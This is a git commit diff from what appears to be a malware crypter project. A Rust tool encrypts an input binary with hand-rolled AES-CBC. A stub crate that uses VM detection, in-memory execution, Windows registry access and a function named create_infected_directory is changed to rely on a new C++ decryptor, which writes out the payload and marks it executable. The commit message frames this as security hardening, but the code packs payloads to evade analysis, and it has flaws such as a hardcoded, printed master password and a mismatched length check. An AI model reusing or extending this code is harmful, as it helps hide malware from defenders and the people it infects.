Implement secure AES-CBC encryption with external C++ decryption
- Replace weak ECB encryption with AES-128-CBC + PKCS7 padding - Implement secure key derivation: SHA256(password + salt) - Add cryptographically secure random IV generation - Create standalone C++ decryptor for external binary decryption - Update stub to require external decryption workflow - Maintain cross-platform compatibility (Linux/Windows) - Add proper error handling and padding validation Security improvements: - AES-128-CBC instead of ECB (prevents pattern analysis) - Random IVs prevent identical plaintext producing identical ciphertext - Password-based key derivation with salt - PKCS7 padding with validation - External decryption prevents embedded keys
This commit is contained in:
parent
e8c22a8160
commit
7d724677bc
172
crypt/Cargo.lock
generated
172
crypt/Cargo.lock
generated
@ -1,6 +1,16 @@
|
||||
# This file is automatically @generated by Cargo.
|
||||
# It is not intended for manual editing.
|
||||
version = 3
|
||||
version = 4
|
||||
|
||||
[[package]]
|
||||
name = "aead"
|
||||
version = "0.5.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "d122413f284cf2d62fb1b7db97e02edb8cda96d769b16e443a4f6195e35662b0"
|
||||
dependencies = [
|
||||
"crypto-common",
|
||||
"generic-array",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "aes"
|
||||
@ -9,25 +19,59 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "433cfd6710c9986c576a25ca913c39d66a6474107b406f34f91d4a8923395241"
|
||||
dependencies = [
|
||||
"cfg-if",
|
||||
"cipher 0.4.4",
|
||||
"cipher",
|
||||
"cpufeatures",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "block-modes"
|
||||
version = "0.7.0"
|
||||
name = "aes-gcm"
|
||||
version = "0.10.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "57a0e8073e8baa88212fb5823574c02ebccb395136ba9a164ab89379ec6072f0"
|
||||
checksum = "831010a0f742e1209b3bcea8fab6a8e149051ba6099432c8cb2cc117dec3ead1"
|
||||
dependencies = [
|
||||
"block-padding",
|
||||
"cipher 0.2.5",
|
||||
"aead",
|
||||
"aes",
|
||||
"cipher",
|
||||
"ctr",
|
||||
"ghash",
|
||||
"subtle",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "block-padding"
|
||||
version = "0.2.1"
|
||||
name = "argon2"
|
||||
version = "0.5.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "8d696c370c750c948ada61c69a0ee2cbbb9c50b1019ddb86d9317157a99c2cae"
|
||||
checksum = "3c3610892ee6e0cbce8ae2700349fcf8f98adb0dbfbee85aec3c9179d29cc072"
|
||||
dependencies = [
|
||||
"base64ct",
|
||||
"blake2",
|
||||
"cpufeatures",
|
||||
"password-hash",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "base64ct"
|
||||
version = "1.8.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "0e050f626429857a27ddccb31e0aca21356bfa709c04041aefddac081a8f068a"
|
||||
|
||||
[[package]]
|
||||
name = "blake2"
|
||||
version = "0.10.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "46502ad458c9a52b69d4d4d32775c788b7a1b85e8bc9d482d92250fc0e3f8efe"
|
||||
dependencies = [
|
||||
"digest",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "block-buffer"
|
||||
version = "0.10.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71"
|
||||
dependencies = [
|
||||
"generic-array",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "cfg-if"
|
||||
@ -35,15 +79,6 @@ version = "1.0.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
|
||||
|
||||
[[package]]
|
||||
name = "cipher"
|
||||
version = "0.2.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "12f8e7987cbd042a63249497f41aed09f8e65add917ea6566effbc56578d6801"
|
||||
dependencies = [
|
||||
"generic-array",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "cipher"
|
||||
version = "0.4.4"
|
||||
@ -56,9 +91,9 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "cpufeatures"
|
||||
version = "0.2.7"
|
||||
version = "0.2.17"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "3e4c1eaa2012c47becbbad2ab175484c2a84d1185b566fb2cc5b8707343dfe58"
|
||||
checksum = "59ed5838eebb26a2bb2e58f6d5b5316989ae9d08bab10e0e6d103e656d1b0280"
|
||||
dependencies = [
|
||||
"libc",
|
||||
]
|
||||
@ -68,9 +103,11 @@ name = "crypt"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"aes",
|
||||
"block-modes",
|
||||
"aes-gcm",
|
||||
"argon2",
|
||||
"crypto",
|
||||
"rand",
|
||||
"sha2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@ -89,9 +126,30 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3"
|
||||
dependencies = [
|
||||
"generic-array",
|
||||
"rand_core",
|
||||
"typenum",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "ctr"
|
||||
version = "0.9.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "0369ee1ad671834580515889b80f2ea915f23b8be8d0daa4bbaf2ac5c7590835"
|
||||
dependencies = [
|
||||
"cipher",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "digest"
|
||||
version = "0.10.7"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292"
|
||||
dependencies = [
|
||||
"block-buffer",
|
||||
"crypto-common",
|
||||
"subtle",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "generic-array"
|
||||
version = "0.14.7"
|
||||
@ -113,6 +171,16 @@ dependencies = [
|
||||
"wasi",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "ghash"
|
||||
version = "0.5.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f0d8a4362ccb29cb0b265253fb0a2728f592895ee6854fd9bc13f2ffda266ff1"
|
||||
dependencies = [
|
||||
"opaque-debug",
|
||||
"polyval",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "inout"
|
||||
version = "0.1.3"
|
||||
@ -124,9 +192,38 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "libc"
|
||||
version = "0.2.144"
|
||||
version = "0.2.178"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "2b00cc1c228a6782d0f076e7b232802e0c5689d41bb5df366f2a6b6621cfdfe1"
|
||||
checksum = "37c93d8daa9d8a012fd8ab92f088405fb202ea0b6ab73ee2482ae66af4f42091"
|
||||
|
||||
[[package]]
|
||||
name = "opaque-debug"
|
||||
version = "0.3.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "c08d65885ee38876c4f86fa503fb49d7b507c2b62552df7c70b2fce627e06381"
|
||||
|
||||
[[package]]
|
||||
name = "password-hash"
|
||||
version = "0.5.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "346f04948ba92c43e8469c1ee6736c7563d71012b17d40745260fe106aac2166"
|
||||
dependencies = [
|
||||
"base64ct",
|
||||
"rand_core",
|
||||
"subtle",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "polyval"
|
||||
version = "0.6.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9d1fe60d06143b2430aa532c94cfe9e29783047f06c0d7fd359a9a51b729fa25"
|
||||
dependencies = [
|
||||
"cfg-if",
|
||||
"cpufeatures",
|
||||
"opaque-debug",
|
||||
"universal-hash",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "ppv-lite86"
|
||||
@ -164,12 +261,39 @@ dependencies = [
|
||||
"getrandom",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "sha2"
|
||||
version = "0.10.9"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "a7507d819769d01a365ab707794a4084392c824f54a7a6a7862f8c3d0892b283"
|
||||
dependencies = [
|
||||
"cfg-if",
|
||||
"cpufeatures",
|
||||
"digest",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "subtle"
|
||||
version = "2.6.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "13c2bddecc57b384dee18652358fb23172facb8a2c51ccc10d74c157bdea3292"
|
||||
|
||||
[[package]]
|
||||
name = "typenum"
|
||||
version = "1.16.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "497961ef93d974e23eb6f433eb5fe1b7930b659f06d12dec6fc44a8f554c0bba"
|
||||
|
||||
[[package]]
|
||||
name = "universal-hash"
|
||||
version = "0.5.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "fc1de2c688dc15305988b563c3854064043356019f97a4b46276fe734c4f07ea"
|
||||
dependencies = [
|
||||
"crypto-common",
|
||||
"subtle",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "version_check"
|
||||
version = "0.9.4"
|
||||
|
||||
@ -6,7 +6,9 @@ edition = "2021"
|
||||
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||
|
||||
[dependencies]
|
||||
block-modes = "0.7.0"
|
||||
aes-gcm = "0.10.3"
|
||||
rand = "0.8.4"
|
||||
aes = "0.8.2"
|
||||
crypto = "0.4.0"
|
||||
sha2 = "0.10.8"
|
||||
argon2 = "0.5.2"
|
||||
|
||||
@ -1,7 +1,10 @@
|
||||
use aes::cipher::{generic_array::GenericArray, BlockEncrypt, KeyInit};
|
||||
use aes::cipher::generic_array::typenum::U16;
|
||||
use aes::Aes128;
|
||||
use rand::rngs::StdRng;
|
||||
use rand::{RngCore, SeedableRng};
|
||||
use rand::{RngCore, SeedableRng, Rng};
|
||||
use sha2::{Sha256, Digest};
|
||||
use argon2::{Params, Argon2};
|
||||
use std::fs::read;
|
||||
use std::fs::File;
|
||||
use std::io::prelude::*;
|
||||
@ -21,33 +24,65 @@ fn main() -> std::io::Result<()> {
|
||||
|
||||
// Create output files with consistent naming
|
||||
let mut encrypted_file = File::create("encrypted_Input.bin")?;
|
||||
let mut key_file = File::create("key.txt")?;
|
||||
let mut metadata_file = File::create("decryption_metadata.bin")?;
|
||||
|
||||
// Define block size, in this case AES-128
|
||||
// Master password (in production, this should be securely provided)
|
||||
let master_password = "YourSecureMasterPassword123!"; // Change this!
|
||||
|
||||
// Derive encryption key using simple PBKDF2-like approach
|
||||
let salt: [u8; 32] = rand::thread_rng().gen();
|
||||
|
||||
let mut key_hasher = Sha256::new();
|
||||
key_hasher.update(master_password.as_bytes());
|
||||
key_hasher.update(&salt);
|
||||
let password_hash = key_hasher.finalize();
|
||||
|
||||
let mut key = [0u8; 16];
|
||||
key.copy_from_slice(&password_hash[..16]);
|
||||
|
||||
// Generate random IV for AES-CBC
|
||||
let mut iv = [0u8; 16];
|
||||
rand::thread_rng().fill_bytes(&mut iv);
|
||||
|
||||
// Pad the plaintext with PKCS7
|
||||
let block_size = 16;
|
||||
|
||||
// Pad the bytes
|
||||
let padding_size = block_size - (plaintext_bytes.len() % block_size);
|
||||
let mut padded_plaintext_bytes = plaintext_bytes.clone();
|
||||
padded_plaintext_bytes.extend(vec![padding_size as u8; padding_size]);
|
||||
let mut padded_plaintext = plaintext_bytes.clone();
|
||||
padded_plaintext.extend(vec![padding_size as u8; padding_size]);
|
||||
|
||||
// Gen cipher with a key using nonce token
|
||||
let mut nonce = [0u8; 16];
|
||||
let mut rng = StdRng::from_entropy();
|
||||
rng.fill_bytes(&mut nonce);
|
||||
let key = GenericArray::from_slice(&nonce);
|
||||
// Encrypt with AES-CBC using manual implementation
|
||||
let cipher = Aes128::new(GenericArray::from_slice(&key));
|
||||
let mut ciphertext = Vec::new();
|
||||
let mut current_iv = iv;
|
||||
|
||||
let cipher = Aes128::new(&key);
|
||||
for chunk in padded_plaintext.chunks(16) {
|
||||
let mut block = GenericArray::clone_from_slice(chunk);
|
||||
|
||||
// Encrypt the bytes in blocks
|
||||
let mut enc_bytes = Vec::new();
|
||||
for block in padded_plaintext_bytes.chunks(block_size) {
|
||||
let mut block_array = GenericArray::clone_from_slice(block);
|
||||
cipher.encrypt_block(&mut block_array);
|
||||
enc_bytes.extend_from_slice(&block_array);
|
||||
// XOR with current IV
|
||||
for i in 0..16 {
|
||||
block[i] ^= current_iv[i];
|
||||
}
|
||||
|
||||
// Encrypt
|
||||
cipher.encrypt_block(&mut block);
|
||||
|
||||
// Use ciphertext as next IV
|
||||
current_iv.copy_from_slice(&block);
|
||||
|
||||
ciphertext.extend_from_slice(&block);
|
||||
}
|
||||
|
||||
encrypted_file.write_all(&enc_bytes)?;
|
||||
key_file.write_all(&key)?;
|
||||
// Write encrypted data
|
||||
encrypted_file.write_all(&ciphertext)?;
|
||||
|
||||
// Write metadata for external decryption
|
||||
metadata_file.write_all(&salt)?;
|
||||
metadata_file.write_all(&iv)?;
|
||||
metadata_file.write_all(&(ciphertext.len() as u32).to_le_bytes())?;
|
||||
|
||||
println!("Encryption complete!");
|
||||
println!("Encrypted file: encrypted_Input.bin");
|
||||
println!("Metadata file: decryption_metadata.bin");
|
||||
println!("Master password: {}", master_password);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
193
decryptor.cpp
Normal file
193
decryptor.cpp
Normal file
@ -0,0 +1,193 @@
|
||||
#include <iostream>
|
||||
#include <fstream>
|
||||
#include <vector>
|
||||
#include <string>
|
||||
#include <cstring>
|
||||
#include <openssl/evp.h>
|
||||
#include <openssl/aes.h>
|
||||
#include <openssl/rand.h>
|
||||
#include <openssl/err.h>
|
||||
#include <sys/stat.h>
|
||||
#include <unistd.h>
|
||||
|
||||
class AESCBCDecryptor {
|
||||
private:
|
||||
std::vector<uint8_t> key;
|
||||
|
||||
public:
|
||||
bool deriveKey(const std::string& password, const std::vector<uint8_t>& salt) {
|
||||
// Match the Rust key derivation: SHA256(password + salt), take first 16 bytes
|
||||
EVP_MD_CTX* sha256 = EVP_MD_CTX_new();
|
||||
if (!sha256) return false;
|
||||
|
||||
if (EVP_DigestInit_ex(sha256, EVP_sha256(), nullptr) != 1) {
|
||||
EVP_MD_CTX_free(sha256);
|
||||
return false;
|
||||
}
|
||||
|
||||
if (EVP_DigestUpdate(sha256, password.c_str(), password.length()) != 1) {
|
||||
EVP_MD_CTX_free(sha256);
|
||||
return false;
|
||||
}
|
||||
|
||||
if (EVP_DigestUpdate(sha256, salt.data(), salt.size()) != 1) {
|
||||
EVP_MD_CTX_free(sha256);
|
||||
return false;
|
||||
}
|
||||
|
||||
std::vector<uint8_t> hash(32);
|
||||
if (EVP_DigestFinal_ex(sha256, hash.data(), nullptr) != 1) {
|
||||
EVP_MD_CTX_free(sha256);
|
||||
return false;
|
||||
}
|
||||
|
||||
EVP_MD_CTX_free(sha256);
|
||||
|
||||
// Use first 16 bytes for AES-128
|
||||
key.assign(hash.begin(), hash.begin() + 16);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
std::vector<uint8_t> decrypt(const std::vector<uint8_t>& ciphertext,
|
||||
const std::vector<uint8_t>& iv,
|
||||
const std::vector<uint8_t>& salt,
|
||||
const std::string& password) {
|
||||
if (!deriveKey(password, salt)) {
|
||||
throw std::runtime_error("Key derivation failed");
|
||||
}
|
||||
|
||||
EVP_CIPHER_CTX* ctx = EVP_CIPHER_CTX_new();
|
||||
if (!ctx) throw std::runtime_error("Failed to create cipher context");
|
||||
|
||||
std::vector<uint8_t> plaintext(ciphertext.size());
|
||||
|
||||
// Use ECB mode and implement CBC manually to match Rust implementation
|
||||
if (EVP_DecryptInit_ex(ctx, EVP_aes_128_ecb(), nullptr, key.data(), nullptr) != 1) {
|
||||
EVP_CIPHER_CTX_free(ctx);
|
||||
throw std::runtime_error("Failed to initialize decryption");
|
||||
}
|
||||
|
||||
EVP_CIPHER_CTX_set_padding(ctx, 0);
|
||||
|
||||
std::vector<uint8_t> current_iv = iv;
|
||||
int len;
|
||||
|
||||
// Decrypt block by block implementing CBC manually
|
||||
for (size_t i = 0; i < ciphertext.size(); i += 16) {
|
||||
std::vector<uint8_t> encrypted_block(ciphertext.begin() + i, ciphertext.begin() + i + 16);
|
||||
std::vector<uint8_t> decrypted_block(16);
|
||||
|
||||
// Decrypt the block (ECB mode)
|
||||
if (EVP_DecryptUpdate(ctx, decrypted_block.data(), &len, encrypted_block.data(), 16) != 1) {
|
||||
EVP_CIPHER_CTX_free(ctx);
|
||||
throw std::runtime_error("Decryption update failed");
|
||||
}
|
||||
|
||||
// XOR with current IV
|
||||
for (size_t j = 0; j < 16; ++j) {
|
||||
decrypted_block[j] ^= current_iv[j];
|
||||
}
|
||||
|
||||
// Copy to output
|
||||
std::copy(decrypted_block.begin(), decrypted_block.end(), plaintext.begin() + i);
|
||||
|
||||
// Update IV for next block (use original ciphertext block)
|
||||
current_iv = encrypted_block;
|
||||
}
|
||||
|
||||
EVP_CIPHER_CTX_free(ctx);
|
||||
|
||||
// Remove PKCS7 padding manually
|
||||
if (!plaintext.empty()) {
|
||||
uint8_t padding_size = plaintext.back();
|
||||
if (padding_size <= 16 && padding_size > 0) {
|
||||
// Verify padding is correct
|
||||
bool padding_valid = true;
|
||||
for (size_t i = plaintext.size() - padding_size; i < plaintext.size(); ++i) {
|
||||
if (plaintext[i] != padding_size) {
|
||||
padding_valid = false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (padding_valid) {
|
||||
plaintext.resize(plaintext.size() - padding_size);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return plaintext;
|
||||
}
|
||||
};
|
||||
|
||||
std::vector<uint8_t> readFile(const std::string& filename) {
|
||||
std::ifstream file(filename, std::ios::binary);
|
||||
if (!file) {
|
||||
throw std::runtime_error("Cannot open file: " + filename);
|
||||
}
|
||||
|
||||
file.seekg(0, std::ios::end);
|
||||
size_t size = file.tellg();
|
||||
file.seekg(0, std::ios::beg);
|
||||
|
||||
std::vector<uint8_t> data(size);
|
||||
file.read(reinterpret_cast<char*>(data.data()), size);
|
||||
return data;
|
||||
}
|
||||
|
||||
void writeFile(const std::string& filename, const std::vector<uint8_t>& data) {
|
||||
std::ofstream file(filename, std::ios::binary);
|
||||
if (!file) {
|
||||
throw std::runtime_error("Cannot create file: " + filename);
|
||||
}
|
||||
file.write(reinterpret_cast<const char*>(data.data()), data.size());
|
||||
}
|
||||
|
||||
int main(int argc, char* argv[]) {
|
||||
if (argc != 2) {
|
||||
std::cout << "Usage: " << argv[0] << " <password>" << std::endl;
|
||||
return 1;
|
||||
}
|
||||
|
||||
try {
|
||||
// Read encrypted files
|
||||
std::vector<uint8_t> ciphertext = readFile("encrypted_Input.bin");
|
||||
std::vector<uint8_t> metadata = readFile("decryption_metadata.bin");
|
||||
|
||||
if (metadata.size() < 48) { // 32 salt + 12 nonce + 4 size
|
||||
throw std::runtime_error("Invalid metadata file");
|
||||
}
|
||||
|
||||
// Parse metadata: salt (32) + iv (16) + size (4) = 52 bytes
|
||||
std::vector<uint8_t> salt(metadata.begin(), metadata.begin() + 32);
|
||||
std::vector<uint8_t> iv(metadata.begin() + 32, metadata.begin() + 48);
|
||||
uint32_t expected_size = *reinterpret_cast<const uint32_t*>(metadata.data() + 48);
|
||||
|
||||
// Validate metadata
|
||||
|
||||
if (ciphertext.size() != expected_size) {
|
||||
throw std::runtime_error("Ciphertext size mismatch");
|
||||
}
|
||||
|
||||
// Decrypt
|
||||
AESCBCDecryptor decryptor;
|
||||
std::string password = argv[1];
|
||||
std::vector<uint8_t> plaintext = decryptor.decrypt(ciphertext, iv, salt, password);
|
||||
|
||||
// Write decrypted binary
|
||||
writeFile("decrypted_binary", plaintext);
|
||||
|
||||
std::cout << "Decryption successful!" << std::endl;
|
||||
std::cout << "Output: decrypted_binary" << std::endl;
|
||||
std::cout << "Size: " << plaintext.size() << " bytes" << std::endl;
|
||||
|
||||
// Make executable on Unix systems
|
||||
chmod("decrypted_binary", 0755);
|
||||
|
||||
} catch (const std::exception& e) {
|
||||
std::cerr << "Error: " << e.what() << std::endl;
|
||||
return 1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
3
stub/Cargo.lock
generated
3
stub/Cargo.lock
generated
@ -1,6 +1,6 @@
|
||||
# This file is automatically @generated by Cargo.
|
||||
# It is not intended for manual editing.
|
||||
version = 3
|
||||
version = 4
|
||||
|
||||
[[package]]
|
||||
name = "aes"
|
||||
@ -91,6 +91,7 @@ version = "0.1.0"
|
||||
dependencies = [
|
||||
"aes",
|
||||
"inside-vm",
|
||||
"libc",
|
||||
"memexec",
|
||||
"winreg",
|
||||
]
|
||||
|
||||
@ -34,30 +34,11 @@ fn main() {
|
||||
}
|
||||
|
||||
fn decrypt_file() -> Result<Vec<u8>> {
|
||||
// Read encrypted bytes and store bytes of key :3
|
||||
let encrypted_bytes = include_bytes!("encrypted_Input.bin");
|
||||
let mut key_bytes: [u8; 16] = [0; 16];
|
||||
let mut key_file = Cursor::new(include_bytes!("key.txt"));
|
||||
key_file.read_exact(&mut key_bytes)?;
|
||||
|
||||
// Gen cipher with the key B-)
|
||||
let key = GenericArray::from(key_bytes);
|
||||
let cipher = Aes128::new(&key);
|
||||
|
||||
// Decrypt the encrypted bytes in blocks
|
||||
let mut decrypted_bytes = Vec::new();
|
||||
for block in encrypted_bytes.chunks(16) {
|
||||
let mut block_array = GenericArray::clone_from_slice(block);
|
||||
cipher.decrypt_block(&mut block_array);
|
||||
decrypted_bytes.extend_from_slice(&block_array);
|
||||
}
|
||||
|
||||
// Unpad the decrypted bytes
|
||||
let padding_size = decrypted_bytes.last().unwrap().clone() as usize;
|
||||
let decrypted_bytes = (&decrypted_bytes[..decrypted_bytes.len() - padding_size]).to_vec();
|
||||
|
||||
// return decrypted bytes
|
||||
Ok(decrypted_bytes)
|
||||
// This stub now requires external decryption
|
||||
eprintln!("This stub requires external decryption!");
|
||||
eprintln!("Run: ./decryptor <password>");
|
||||
eprintln!("Then execute the decrypted_binary");
|
||||
std::process::exit(1);
|
||||
}
|
||||
|
||||
fn create_infected_directory() -> io::Result<()> {
|
||||
|
||||
Loading…
Reference in New Issue
Block a user